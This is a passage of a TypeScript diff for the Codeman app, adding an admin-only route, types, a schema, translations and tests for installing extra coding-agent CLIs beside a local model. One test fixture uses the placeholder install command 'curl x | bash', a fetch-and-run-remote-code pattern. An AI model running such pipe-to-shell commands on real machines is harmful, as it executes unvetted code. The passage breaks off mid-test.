const stopped = Promise.resolve()
|
||||
.then(() => this.deps.supervisor.stop())
|
||||
@@ -2385,7 +2620,9 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
}
|
||||
|
||||
async idle(): Promise<void> {
|
||||
while (this.job) await this.job.promise.catch(() => {});
|
||||
while (this.job || this.agentInstall) {
|
||||
await (this.job ?? this.agentInstall)?.promise.catch(() => {});
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- The job ----------
|
||||
@@ -2741,24 +2978,38 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
signal: AbortSignal
|
||||
): Promise<StepOutcome> {
|
||||
if (!state.cli) return { kind: 'fail', code: 'internal', detail: 'The job has no coding agent.' };
|
||||
const cli = state.cli.id;
|
||||
const vars = this.errorVars('harness-failed', state);
|
||||
const outcome = await this.installCodingAgent(state.cli.id, actor, signal);
|
||||
if (outcome.kind !== 'fail') return outcome;
|
||||
return {
|
||||
kind: 'fail',
|
||||
code: 'harness-failed',
|
||||
vars: this.errorVars('harness-failed', state),
|
||||
detail: outcome.detail,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Installs one coding agent with its STOCK command, through the install slot it shares with
|
||||
* the CLI management routes. What the `agent` step of a job and `installAgent()` both run.
|
||||
* `done` also when the agent is already there; `fail` carries what to show as the detail.
|
||||
*/
|
||||
private async installCodingAgent(
|
||||
cli: string,
|
||||
actor: LocalModelActor,
|
||||
signal: AbortSignal
|
||||
): Promise<{ kind: 'done' } | { kind: 'cancelled' } | { kind: 'fail'; detail: string }> {
|
||||
// A resumed job, or an installer that finished before a restart: the binary may be there.
|
||||
if (await this.deps.recheckCliInstalled(cli)) return DONE;
|
||||
if (signal.aborted) return CANCELLED;
|
||||
if (await this.deps.recheckCliInstalled(cli)) return { kind: 'done' };
|
||||
if (signal.aborted) return { kind: 'cancelled' };
|
||||
|
||||
// Only a coding agent of the catalogue, and only its STOCK install command.
|
||||
if (!this.deps.getCatalog().harnesses.some((row) => row.cli === cli)) {
|
||||
return { kind: 'fail', code: 'harness-failed', vars, detail: 'Not a coding agent of the local model catalogue.' };
|
||||
return { kind: 'fail', detail: 'Not a coding agent of the local model catalogue.' };
|
||||
}
|
||||
const command = this.deps.stockInstallCommand(cli);
|
||||
if (!command) {
|
||||
return { kind: 'fail', code: 'harness-failed', vars, detail: 'No install command for this platform.' };
|
||||
}
|
||||
if (!command) return { kind: 'fail', detail: 'No install command for this platform.' };
|
||||
const release = this.deps.tryBeginCliInstall(cli);
|
||||
if (!release) {
|
||||
return { kind: 'fail', code: 'harness-failed', vars, detail: 'Another install of this coding agent is running.' };
|
||||
}
|
||||
if (!release) return { kind: 'fail', detail: 'Another install of this coding agent is running.' };
|
||||
let result: CliInstallResult;
|
||||
try {
|
||||
result = await this.deps.runInstallCommand(command, { signal });
|
||||
@@ -2783,13 +3034,13 @@ class LocalModelServiceImpl implements LocalModelService {
|
||||
// Even a failed or interrupted install may have left a binary behind: the cached lookups
|
||||
// are forgotten either way, and what counts is whether the binary is found now.
|
||||
const installed = await this.deps.recheckCliInstalled(cli);
|
||||
if (result.aborted || signal.aborted) return CANCELLED;
|
||||
if (installed) return DONE;
|
||||
if (result.aborted || signal.aborted) return { kind: 'cancelled' };
|
||||
if (installed) return { kind: 'done' };
|
||||
const detail = result.timedOut
|
||||
? `The installer was stopped after ${Math.round(CLI_INSTALL_TIMEOUT_MS / 1000)} seconds.`
|
||||
: result.output.slice(-INSTALLER_DETAIL_CHARS).trim() ||
|
||||
(result.code === 0 ? 'The installer finished, but the program was not found afterwards.' : 'No output.');
|
||||
return { kind: 'fail', code: 'harness-failed', vars, detail };
|
||||
return { kind: 'fail', detail };
|
||||
}
|
||||
|
||||
private async stepConnect(state: LocalModelStateFile, signal: AbortSignal): Promise<StepOutcome> {
|
||||
|
||||
@@ -211,6 +211,8 @@ export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start'
|
||||
* - `use`: `POST /api/local-model/use`. Listed only while a row of `library` offers it.
|
||||
* - `delete-model`: `DELETE /api/local-model/models`. Listed only while a row of `library`
|
||||
* offers it.
|
||||
* - `install-agent`: `POST /api/local-model/agent`. Listed only while a row of `harnesses`
|
||||
* offers it.
|
||||
*/
|
||||
export type LocalModelAction =
|
||||
| 'install'
|
||||
@@ -221,7 +223,8 @@ export type LocalModelAction =
|
||||
| 'remove'
|
||||
| 'start-session'
|
||||
| 'use'
|
||||
| 'delete-model';
|
||||
| 'delete-model'
|
||||
| 'install-agent';
|
||||
|
||||
/** Whether the Mac has the developer tools (git, Python) a coding agent calls. */
|
||||
export type LocalModelDeveloperTools =
|
||||
@@ -301,7 +304,7 @@ export const LOCAL_MODEL_INSTALL_LABELS = {
|
||||
refusedNotInLibrary: 'This model is not one of the checked models on this Mac.',
|
||||
refusedNotOnThisMac: 'This model is not on this Mac.',
|
||||
deleteFailed: '{model} could not be deleted from this Mac.',
|
||||
refusedAgentMissing: '{cli} is not installed on this Mac. Install this model again to choose a coding agent.',
|
||||
refusedAgentMissing: '{cli} is not installed on this Mac. Install a coding agent in the local model window first.',
|
||||
endpointManaged:
|
||||
'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.',
|
||||
endpointIdReserved: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.',
|
||||
@@ -461,8 +464,9 @@ export interface LocalModelLoadedFacts {
|
||||
* | `port` | | once chosen | once chosen | once chosen | yes |
|
||||
* | `loaded`, `endpointId` | | | | | yes |
|
||||
*
|
||||
* `running`, `developerTools`, `runtime`, `folder`, `library` and `actions` are always
|
||||
* present. `store` is present once the model store was measured.
|
||||
* `running`, `developerTools`, `runtime`, `folder`, `library`, `harnesses` and `actions` are
|
||||
* always present. `store` is present once the model store was measured. `harnesses` is empty
|
||||
* in every state but `installed`.
|
||||
*/
|
||||
export interface LocalModelInstallView {
|
||||
state: LocalModelInstallState;
|
||||
@@ -473,7 +477,11 @@ export interface LocalModelInstallView {
|
||||
progress?: LocalModelProgress;
|
||||
error?: LocalModelInstallError;
|
||||
model?: LocalModelInstalledModel;
|
||||
/** The coding agent: a CLI registry id, as data. */
|
||||
/**
|
||||
* The coding agent of the job, and on an installed model the DEFAULT one: the agent it was
|
||||
* installed with, which a client that names no agent starts. A CLI registry id, as data.
|
||||
* `harnesses` lists every agent a session can be started with.
|
||||
*/
|
||||
cli?: string;
|
||||
/** The coding agent's display label ('OpenCode'). */
|
||||
cliLabel?: string;
|
||||
@@ -498,10 +506,74 @@ export interface LocalModelInstallView {
|
||||
library: LocalModelLibraryRow[];
|
||||
/** What the model store takes on disk right now. Present in every state once it was measured. */
|
||||
store?: LocalModelStoreView;
|
||||
/**
|
||||
* The coding agents a session on the model in use can be started with: every catalogue
|
||||
* harness that works at the model's context and accepts its name, the default one (`cli`)
|
||||
* first, then by catalogue rank. The agent is chosen per session, so a row is not a setting.
|
||||
* Empty in every state but `installed`.
|
||||
*/
|
||||
harnesses: LocalModelHarnessRow[];
|
||||
/** What the server accepts right now, see `LocalModelAction`. */
|
||||
actions: LocalModelAction[];
|
||||
}
|
||||
|
||||
/**
|
||||
* How a coding agent of `harnesses` stands on this Mac.
|
||||
* - `ready`: it can be started (the same answer the Run menu gets).
|
||||
* - `installable`: it is not on this Mac, and `POST /api/local-model/agent` installs it with
|
||||
* `installCommand`.
|
||||
* - `installing`: that install is running. It runs beside the model: nothing about the model
|
||||
* in use changes, and a session with another agent can be started meanwhile.
|
||||
* - `setup-needed`: it is not startable and one command does not make it so (a launcher
|
||||
* without a profile, or a command that needs an administrator). Its own setup is in the Run
|
||||
* menu or in a terminal; nothing is offered here.
|
||||
*/
|
||||
export type LocalModelHarnessStatus = 'ready' | 'installable' | 'installing' | 'setup-needed';
|
||||
|
||||
/** What can be done with one row of `harnesses`: start a session with it, or `POST /api/local-model/agent`. */
|
||||
export type LocalModelHarnessAction = 'start-session' | 'install';
|
||||
|
||||
/** One coding agent the model in use can be run with. Everything a client needs is here, so it compares no CLI id. */
|
||||
export interface LocalModelHarnessRow {
|
||||
/** The CLI registry id, as data: the `mode` of a session started with it, and the `cli` of `POST /api/local-model/agent`. */
|
||||
cli: string;
|
||||
/** The registry's display label ('OpenCode'). */
|
||||
cliLabel: string;
|
||||
/** True on the row `LocalModelInstallView.cli` names. */
|
||||
default: boolean;
|
||||
status: LocalModelHarnessStatus;
|
||||
/**
|
||||
* The literal command `POST /api/local-model/agent` would run: the STOCK command of the CLI
|
||||
* registry for this platform. Present exactly when `status` is `installable` or `installing`.
|
||||
* The consent prints it as it is.
|
||||
*/
|
||||
installCommand?: string;
|
||||
/** The harness row's `slowFirstTurn`: the first answer takes minutes. */
|
||||
slowFirstTurn?: boolean;
|
||||
/**
|
||||
* A literal with no white space the agent's composer draws once it takes input
|
||||
* (`LocalHarnessEntry.readyMark`, else the CLI registry's `composerReadyMark`): what a script
|
||||
* waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt. Absent
|
||||
* for an agent with no measured mark.
|
||||
*/
|
||||
readyMark?: string;
|
||||
/**
|
||||
* The last install of this agent through `POST /api/local-model/agent` failed, and it is
|
||||
* still not on this Mac. Kept in memory only: a restart of the server forgets it.
|
||||
*/
|
||||
error?: LocalModelAgentError;
|
||||
/** What the server accepts for this row right now. */
|
||||
actions: LocalModelHarnessAction[];
|
||||
}
|
||||
|
||||
/** Why an install of a coding agent from an installed model failed. */
|
||||
export interface LocalModelAgentError {
|
||||
/** `errHarnessFailed` with the agent's label. */
|
||||
message: LocalModelInstallMessage;
|
||||
/** The end of what the installer printed, as it is (English or the tool's own language). */
|
||||
detail?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* How a model of the library stands.
|
||||
* - `ready`: checked by Codeman, and the runtime (when it was asked) still lists it with the
|
||||
@@ -612,6 +684,15 @@ export interface LocalModelDeleteRequest {
|
||||
modelId: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Body of `POST /api/local-model/agent`: a coding agent of `harnesses` to install beside an
|
||||
* installed model. The click that sends it is the consent to the row's `installCommand`.
|
||||
*/
|
||||
export interface LocalModelAgentRequest {
|
||||
/** `LocalModelHarnessRow.cli` of a row whose `actions` list `install`. */
|
||||
cli: string;
|
||||
}
|
||||
|
||||
/** The `data` of a 400 the service names: its sentence, for the window to print in its own language. */
|
||||
export interface LocalModelRefusal {
|
||||
message: LocalModelInstallMessage;
|
||||
|
||||
@@ -207,6 +207,15 @@ export interface LocalHarnessEntry {
|
||||
gated?: boolean;
|
||||
/** True: the first answer takes minutes, because the harness sends a very large fixed prompt. */
|
||||
slowFirstTurn?: boolean;
|
||||
/**
|
||||
* A literal with no white space that this harness's composer draws once it takes input, and
|
||||
* nothing before it does: what a script waits for before it sends the first prompt
|
||||
* (`GET /api/sessions/:id/wait-output`). Only a mark that was MEASURED on a session started
|
||||
* on a custom model goes here. Absent: the CLI registry's own
|
||||
* `capabilities.composerReadyMark` is used when it declares one, and a harness with neither
|
||||
* has no mark.
|
||||
*/
|
||||
readyMark?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -248,9 +257,18 @@ export interface HarnessFact {
|
||||
cli: string;
|
||||
/** The registry's display label ('OpenCode'). */
|
||||
label: string;
|
||||
/** The CLI's binary was found on this machine. */
|
||||
/**
|
||||
* The CLI can be started on this machine: the same answer the Run menu gets. For a launcher
|
||||
* that starts nothing by itself (`discovery.launcherProfile` in the CLI registry) that is its
|
||||
* binary AND something for it to launch.
|
||||
*/
|
||||
installed: boolean;
|
||||
/** Not installed, but the registry has an install command for this platform that needs no administrator rights. */
|
||||
/**
|
||||
* Not installed, but ONE command makes it startable: the registry has an install command for
|
||||
* this platform that needs no administrator rights, and the CLI is not a launcher. A launcher
|
||||
* needs a second install the command does not make (a profile, which is third-party code
|
||||
* with a consent of its own), so it is never installable from here.
|
||||
*/
|
||||
installable: boolean;
|
||||
/**
|
||||
* The literal install command the install job would run for this CLI: the STOCK
|
||||
@@ -259,6 +277,8 @@ export interface HarnessFact {
|
||||
* (`CandidateHarness.installCommand`).
|
||||
*/
|
||||
installCommand?: string;
|
||||
/** The registry's `capabilities.composerReadyMark`, when the CLI declares one and it holds no white space. */
|
||||
readyMark?: string;
|
||||
/** Whether this CLI can be launched with that model id (its command-line pattern accepts it). */
|
||||
acceptsModelId: (modelId: string) => boolean;
|
||||
}
|
||||
|
||||
@@ -1628,8 +1628,8 @@
|
||||
'此 Mac 目前只使用 {model}。请先在本地模型窗口中切换模型。',
|
||||
'This model is not one of the checked models on this Mac.': '该模型不在此 Mac 上已检查的模型之列。',
|
||||
'This model is not on this Mac.': '此 Mac 上没有这个模型。',
|
||||
'{cli} is not installed on this Mac. Install this model again to choose a coding agent.':
|
||||
'此 Mac 上没有安装 {cli}。请重新安装此模型,以便选择编程智能体。',
|
||||
'{cli} is not installed on this Mac. Install a coding agent in the local model window first.':
|
||||
'此 Mac 上没有安装 {cli}。请先在本地模型窗口中安装一个编程智能体。',
|
||||
'{model} could not be deleted from this Mac.': '无法从此 Mac 删除 {model}。',
|
||||
// What the endpoint routes answer for the record of the model on this Mac (shown as a toast).
|
||||
'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.':
|
||||
|
||||
@@ -12,6 +12,7 @@
|
||||
* | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | the install view; 409 |
|
||||
* | `DELETE /api/local-model` | `LocalModelRemoveRequest` | the install view; 409 |
|
||||
* | `DELETE /api/local-model/models` | `LocalModelDeleteRequest` | the install view; 400, 409, 500 |
|
||||
* | `POST /api/local-model/agent` | `LocalModelAgentRequest` | the install view; 400, 409 |
|
||||
*
|
||||
* The GET is built from the hardware probe, the catalogue, the harness facts and the pure
|
||||
* `recommend()`, plus the `install` object of the install service
|
||||
@@ -55,6 +56,10 @@
|
||||
* - `DELETE /api/local-model/models` takes a model NAME in its body, never a path: the schema
|
||||
* admits only `name:tag`, and the service deletes only a name of its own listing, through
|
||||
* the runtime.
|
||||
* - `POST /api/local-model/agent` installs one more coding agent beside an installed model.
|
||||
* Its body names a CLI id only: the service takes it only when it is a row of the view's
|
||||
* `harnesses` that offers `install`, and runs the compiled stock command, never text from
|
||||
* the request. It looks at no session: nothing about the model in use changes.
|
||||
* - Every dependency is injected (`LocalModelRouteDeps`), so a route test spawns nothing and
|
||||
* does not need a Mac: it passes its own hardware, harness facts and service.
|
||||
*/
|
||||
@@ -97,6 +102,7 @@ import {
|
||||
} from '../../local-model/install-job.js';
|
||||
import { recommend } from '../../local-model/recommend.js';
|
||||
import {
|
||||
LocalModelAgentSchema,
|
||||
LocalModelDeleteSchema,
|
||||
LocalModelInstallSchema,
|
||||
LocalModelRemoveSchema,
|
||||
@@ -261,7 +267,7 @@ export function registerLocalModelRoutes(
|
||||
// The measured budget once the runtime reported it, and the runtime download that an
|
||||
// install would still add: what turns the estimate into the figures of the consent.
|
||||
const options = await service.recommendOptions();
|
||||
const install = await service.view();
|
||||
const install = await service.view({ harnessFacts });
|
||||
// A row that is already a checked model on this Mac says so: choosing it is a switch.
|
||||
const recommendation = markLibraryCandidates(
|
||||
resolved.recommend(hardware, catalog, harnessFacts, options),
|
||||
@@ -334,4 +340,11 @@ export function registerLocalModelRoutes(
|
||||
const body = parseBody(LocalModelDeleteSchema, req.body);
|
||||
return runVerb(reply, () => resolved.service().deleteLibraryModel(body, actorOf(req)));
|
||||
});
|
||||
|
||||
app.post('/api/local-model/agent', async (req, reply): Promise<LocalModelVerbResponse> => {
|
||||
const denied = adminOnly(req, reply);
|
||||
if (denied) return denied;
|
||||
const body = parseBody(LocalModelAgentSchema, req.body);
|
||||
return runVerb(reply, () => resolved.service().installAgent(body, actorOf(req)));
|
||||
});
|
||||
}
|
||||
+13
-4
@@ -2481,14 +2481,20 @@ const localModelId = z
|
||||
.max(200)
|
||||
.regex(/^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/, 'Invalid model id');
|
||||
|
||||
/**
|
||||
* A coding agent as a CLI registry id. A request-shape check only: the real gate is the
|
||||
* service's own lookup of the id among the catalogue harnesses it offers right now.
|
||||
*/
|
||||
const localModelCli = z
|
||||
.string()
|
||||
.max(64)
|
||||
.regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id');
|
||||
|
||||
/** POST /api/local-model/install: the row the person chose and the size they confirmed. */
|
||||
export const LocalModelInstallSchema = z
|
||||
.object({
|
||||
modelId: localModelId,
|
||||
cli: z
|
||||
.string()
|
||||
.max(64)
|
||||
.regex(/^[a-z0-9][a-z0-9_-]*$/, 'Invalid coding agent id'),
|
||||
cli: localModelCli,
|
||||
context: z.number().int().positive().max(MAX_DISCOVERED_CONTEXT_TOKENS),
|
||||
acknowledgedBytes: z.number().int().nonnegative().max(Number.MAX_SAFE_INTEGER),
|
||||
})
|
||||
@@ -2511,6 +2517,9 @@ export const LocalModelUseSchema = z.object({ modelId: localModelId }).strict();
|
||||
/** DELETE /api/local-model/models: one model of the store, by its name. Never a path. */
|
||||
export const LocalModelDeleteSchema = z.object({ modelId: localModelId }).strict();
|
||||
|
||||
/** POST /api/local-model/agent: one more coding agent to install beside an installed model. */
|
||||
export const LocalModelAgentSchema = z.object({ cli: localModelCli }).strict();
|
||||
|
||||
/**
|
||||
* A shell-safe bare word, mirroring `config/cli-registry/schema.ts`'s own `shellToken` —
|
||||
* duplicated rather than imported, since the REAL safety boundary for anything built from
|
||||
|
||||
@@ -294,12 +294,28 @@ describe('the stock catalogue', () => {
|
||||
});
|
||||
});
|
||||
|
||||
it('lists its harnesses as data rows, one of them gated', () => {
|
||||
it('lists its harnesses as data rows: four, none gated, none below the smallest context a model offers', () => {
|
||||
expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([
|
||||
{ cli: 'opencode', minContext: 65536, rank: 3 },
|
||||
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
|
||||
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
|
||||
{ cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
|
||||
{ cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
|
||||
{ cli: 'pi', minContext: 65536, rank: 2 },
|
||||
{ cli: 'deepseek', minContext: 65536, rank: 1 },
|
||||
]);
|
||||
// No harness asks for less than a model can be offered at: nothing below 65536 was run.
|
||||
const smallest = Math.min(...STOCK_LOCAL_MODEL_CATALOG.models.flatMap((model) => model.contexts));
|
||||
for (const harness of STOCK_LOCAL_MODEL_CATALOG.harnesses) {
|
||||
expect(harness.minContext).toBeGreaterThanOrEqual(smallest);
|
||||
}
|
||||
});
|
||||
|
||||
it('a readiness mark is one literal without white space', () => {
|
||||
const spaced = copy();
|
||||
spaced.harnesses[0] = { ...spaced.harnesses[0], readyMark: '/ commands' };
|
||||
expect(issuesOf(spaced)).toHaveLength(1);
|
||||
expect(issuesOf(spaced)[0]).toMatch(/^harnesses\.0\.readyMark: /);
|
||||
const empty = copy();
|
||||
empty.harnesses[0] = { ...empty.harnesses[0], readyMark: '' };
|
||||
expect(issuesOf(empty)[0]).toMatch(/^harnesses\.0\.readyMark: /);
|
||||
});
|
||||
|
||||
it('names the oldest macOS and its schema version', () => {
|
||||
@@ -534,7 +550,7 @@ describe('the schema, across rows', () => {
|
||||
it('refuses a harness listed twice and a repeated harness rank', () => {
|
||||
const twice = copy();
|
||||
twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 });
|
||||
expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']);
|
||||
expect(issuesOf(twice)).toEqual(['harnesses.4.cli: a harness may be listed only once']);
|
||||
|
||||
const sameRank = copy();
|
||||
sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank };
|
||||
|
||||
@@ -187,6 +187,63 @@ describe('buildHarnessFacts', () => {
|
||||
expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false });
|
||||
});
|
||||
|
||||
it('a launcher is never installable: its install command leaves it with nothing to launch', async () => {
|
||||
// DeepSeek Harness is the stock launcher: its command needs no administrator, and it would
|
||||
// still not be startable after it (it needs a profile, which is third-party code).
|
||||
const launcher = stockEntry('deepseek');
|
||||
expect(launcher.discovery.launcherProfile).toBeDefined();
|
||||
expect(installCommandNeedsAdmin(darwinCommand(launcher) as string)).toBe(false);
|
||||
const command = vi.fn(darwinCommand);
|
||||
const [missing] = await buildHarnessFacts(catalogWith(['deepseek']), {
|
||||
probeInstalled: installedOnly(),
|
||||
installCommandFor: command,
|
||||
});
|
||||
expect(missing).toMatchObject({ cli: 'deepseek', installed: false, installable: false });
|
||||
expect(missing).not.toHaveProperty('installCommand');
|
||||
expect(command).not.toHaveBeenCalled();
|
||||
// Set up by the person: it is a harness like the others.
|
||||
const [there] = await buildHarnessFacts(catalogWith(['deepseek']), { probeInstalled: installedOnly('deepseek') });
|
||||
expect(there).toMatchObject({ installed: true, installable: false });
|
||||
|
||||
// The rule reads the entry's data, not its id: any entry with a launcher profile, and no other.
|
||||
const asLauncher = (id: string): CliEntry | undefined => {
|
||||
const entry = getCli(id);
|
||||
return entry
|
||||
? { ...entry, discovery: { ...entry.discovery, launcherProfile: launcher.discovery.launcherProfile } }
|
||||
: entry;
|
||||
};
|
||||
const [made] = await buildHarnessFacts(catalogWith(['opencode']), {
|
||||
getCli: asLauncher,
|
||||
probeInstalled: installedOnly(),
|
||||
installCommandFor: darwinCommand,
|
||||
});
|
||||
expect(made.installable).toBe(false);
|
||||
});
|
||||
|
||||
it('readyMark: the registry’s composer mark, only when it is one literal without white space', async () => {
|
||||
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'deepseek']), {
|
||||
probeInstalled: installedOnly(),
|
||||
});
|
||||
const byCli = new Map(facts.map((f) => [f.cli, f]));
|
||||
expect(byCli.get('claude')?.readyMark).toBe(stockEntry('claude').capabilities.composerReadyMark);
|
||||
expect(byCli.get('deepseek')?.readyMark).toBe('❯');
|
||||
// The registry declares none for opencode: the catalogue row carries the measured one.
|
||||
expect(stockEntry('opencode').capabilities.composerReadyMark).toBeUndefined();
|
||||
expect(byCli.get('opencode')).not.toHaveProperty('readyMark');
|
||||
|
||||
const spaced = (id: string): CliEntry | undefined => {
|
||||
const entry = getCli(id);
|
||||
return entry
|
||||
? { ...entry, capabilities: { ...entry.capabilities, composerReadyMark: '/ commands · ? help' } }
|
||||
: entry;
|
||||
};
|
||||
const [fact] = await buildHarnessFacts(catalogWith(['opencode']), {
|
||||
getCli: spaced,
|
||||
probeInstalled: installedOnly(),
|
||||
});
|
||||
expect(fact).not.toHaveProperty('readyMark');
|
||||
});
|
||||
|
||||
it('installable is false without an install command, for a sudo command, and for a custom entry', async () => {
|
||||
const command = vi.fn<(entry: CliEntry) => string | undefined>();
|
||||
command.mockReturnValueOnce(undefined);
|
||||
|
||||
@@ -16,6 +16,7 @@ import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
allowedActions,
|
||||
buildInstallError,
|
||||
buildHarnessRows,
|
||||
buildInstallView,
|
||||
buildLibraryRows,
|
||||
formatInstallMessage,
|
||||
@@ -39,6 +40,8 @@ import {
|
||||
LOCAL_MODEL_ERROR_NEXT,
|
||||
LOCAL_MODEL_INSTALL_LABELS,
|
||||
LOCAL_MODEL_INSTALL_STEPS,
|
||||
type HarnessFact,
|
||||
type LocalHarnessEntry,
|
||||
type LocalModelAction,
|
||||
type LocalModelErrorCode,
|
||||
type LocalModelInstallState,
|
||||
@@ -637,6 +640,7 @@ describe('buildInstallView', () => {
|
||||
},
|
||||
folder: '/Users/me/.codeman/local-model',
|
||||
library: [],
|
||||
harnesses: [],
|
||||
actions: ['install'],
|
||||
});
|
||||
});
|
||||
@@ -677,6 +681,7 @@ describe('buildInstallView', () => {
|
||||
folder: '/Users/me/.codeman/local-model',
|
||||
// The checked model of an earlier install: listed, with nothing to do while a job runs.
|
||||
library: [{ ...OTHER_ROW, actions: [] }],
|
||||
harnesses: [],
|
||||
actions: ['cancel'],
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
|
||||
context: 131072,
|
||||
@@ -793,6 +798,9 @@ describe('buildInstallView', () => {
|
||||
runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
|
||||
folder: '/Users/me/.codeman/local-model',
|
||||
library: [ENTRY_ROW, OTHER_ROW],
|
||||
// The live facts name no coding agents here (unknown): none is listed, and a session is
|
||||
// still offered.
|
||||
harnesses: [],
|
||||
actions: ['start-session', 'stop', 'install', 'use', 'remove'],
|
||||
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
|
||||
context: 131072,
|
||||
@@ -1089,6 +1097,198 @@ describe('buildLibraryRows', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildHarnessRows: the coding agents of the model in use', () => {
|
||||
const ROWS: LocalHarnessEntry[] = [
|
||||
{ cli: 'opencode', minContext: 65536, rank: 4, readyMark: '┃' },
|
||||
{ cli: 'claude', minContext: 65536, rank: 3, slowFirstTurn: true },
|
||||
{ cli: 'pi', minContext: 65536, rank: 2 },
|
||||
{ cli: 'deepseek', minContext: 65536, rank: 1 },
|
||||
{ cli: 'later', minContext: 65536, rank: 0, gated: true },
|
||||
];
|
||||
const fact = (cli: string, label: string, extra: Partial<HarnessFact> = {}): HarnessFact => ({
|
||||
cli,
|
||||
label,
|
||||
installed: false,
|
||||
installable: false,
|
||||
acceptsModelId: () => true,
|
||||
...extra,
|
||||
});
|
||||
const FACTS: HarnessFact[] = [
|
||||
fact('opencode', 'OpenCode', { installed: true }),
|
||||
fact('claude', 'Claude Code', { installed: true, readyMark: 'shift+tab' }),
|
||||
fact('pi', 'Pi', { installable: true, installCommand: 'npm install -g pi' }),
|
||||
// A launcher without a profile: not startable, and one command does not make it so.
|
||||
fact('deepseek', 'DeepSeek', { readyMark: '❯' }),
|
||||
fact('later', 'Later', { installed: true }),
|
||||
];
|
||||
const rows = (
|
||||
state: LocalModelStateFile = SAMPLE.installed,
|
||||
facts: readonly HarnessFact[] = FACTS,
|
||||
memory: Parameters<typeof buildHarnessRows>[3] = {}
|
||||
) => buildHarnessRows(state, { harnesses: ROWS }, facts, memory);
|
||||
|
||||
it('lists every harness that is not gated, the default first, then by rank, each with how it stands', () => {
|
||||
expect(rows()).toEqual([
|
||||
{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: [] },
|
||||
{
|
||||
cli: 'claude',
|
||||
cliLabel: 'Claude Code',
|
||||
default: false,
|
||||
status: 'ready',
|
||||
slowFirstTurn: true,
|
||||
// No mark on the catalogue row: the CLI registry's own stands.
|
||||
readyMark: 'shift+tab',
|
||||
actions: [],
|
||||
},
|
||||
{
|
||||
cli: 'pi',
|
||||
cliLabel: 'Pi',
|
||||
default: false,
|
||||
status: 'installable',
|
||||
installCommand: 'npm install -g pi',
|
||||
actions: ['install'],
|
||||
},
|
||||
{ cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', readyMark: '❯', actions: [] },
|
||||
]);
|
||||
});
|
||||
|
||||
it('is empty in every state but installed', () => {
|
||||
for (const state of ['idle', 'installing', 'paused', 'failed'] as const) {
|
||||
expect(rows(SAMPLE[state])).toEqual([]);
|
||||
}
|
||||
});
|
||||
|
||||
it('leaves out a harness without a fact, one the model is too small for, and one that refuses its name', () => {
|
||||
const small: LocalModelStateFile = { ...SAMPLE.installed, model: { ...MODEL, context: 32768 } };
|
||||
expect(rows(small)).toEqual([]);
|
||||
expect(rows(SAMPLE.installed, FACTS.slice(0, 1)).map((row) => row.cli)).toEqual(['opencode']);
|
||||
const picky = FACTS.map((entry) => (entry.cli === 'claude' ? { ...entry, acceptsModelId: () => false } : entry));
|
||||
expect(rows(SAMPLE.installed, picky).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']);
|
||||
const throwing = FACTS.map((entry) =>
|
||||
entry.cli === 'claude'
|
||||
? {
|
||||
...entry,
|
||||
acceptsModelId: () => {
|
||||
throw new Error('bad recipe');
|
||||
},
|
||||
}
|
||||
: entry
|
||||
);
|
||||
expect(rows(SAMPLE.installed, throwing).map((row) => row.cli)).toEqual(['opencode', 'pi', 'deepseek']);
|
||||
});
|
||||
|
||||
it('the default is the agent of the installation while it can be started, else the first that can', () => {
|
||||
const withClaude: LocalModelStateFile = { ...SAMPLE.installed, cli: { id: 'claude', label: 'Claude Code' } };
|
||||
expect(rows(withClaude).map((row) => [row.cli, row.default])).toEqual([
|
||||
['claude', true],
|
||||
['opencode', false],
|
||||
['pi', false],
|
||||
['deepseek', false],
|
||||
]);
|
||||
// The agent of the installation was uninstalled: a client that names none starts another.
|
||||
const gone = FACTS.map((entry) =>
|
||||
entry.cli === 'opencode'
|
||||
? fact('opencode', 'OpenCode', { installable: true, installCommand: 'curl x | bash' })
|
||||
: entry
|
||||
);
|
||||
expect(rows(SAMPLE.installed, gone).map((row) => [row.cli, row.default, row.status])).toEqual([
|
||||
['claude', true, 'ready'],
|
||||
['opencode', false, 'installable'],
|
||||
['pi', false, 'installable'],
|
||||
['deepseek', false, 'setup-needed'],
|
||||
]);
|
||||
// Nothing can be started: the default stays the agent of the installation.
|
||||
const none = FACTS.map((entry) => fact(entry.cli, entry.label, { installable: true, installCommand: 'x' }));
|
||||
expect(rows(SAMPLE.installed, none).find((row) => row.default)?.cli).toBe('opencode');
|
||||
});
|
||||
|
||||
it('while one installer runs: that row says installing with its command, and no other row offers an install', () => {
|
||||
const both = FACTS.map((entry) =>
|
||||
